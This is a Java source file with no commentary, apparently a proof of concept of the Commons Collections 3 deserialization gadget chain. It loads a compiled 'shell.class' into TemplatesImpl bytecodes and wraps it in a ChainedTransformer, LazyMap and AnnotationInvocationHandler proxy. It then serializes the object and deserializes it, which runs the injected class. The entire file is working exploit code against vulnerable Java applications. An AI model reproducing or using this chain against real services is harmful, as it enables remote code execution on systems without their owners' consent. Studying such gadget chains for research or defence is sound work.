public class cc3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass(); Field _name = c.getDeclaredField("_name"); _name.setAccessible(true); _name.set(templates, "cc3"); Field _bytecodes = c.getDeclaredField("_bytecodes"); _bytecodes.setAccessible(true); byte[] b = Files.readAllBytes(Paths.get("D:\\Desktop\\java\\javacc\\target\\classes\\shell.class")); byte[][] _b = {b}; _bytecodes.set(templates, _b); Field tfactoryField = c.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
Transformer[] T = { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }; ChainedTransformer transform = new ChainedTransformer(T); HashMap<Object,Object> m = new HashMap(); Map<Object,Object> m2 = LazyMap.decorate(m,transform); Class r = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = r.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class,m2); Map o1 = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h); Object o2 = constructor.newInstance(Override.class, o1); serialize(o2); deserialize("ser.bin");
} public static void serialize(Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(object); } public static Object deserialize(String filename) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); return objectInputStream.readObject(); } }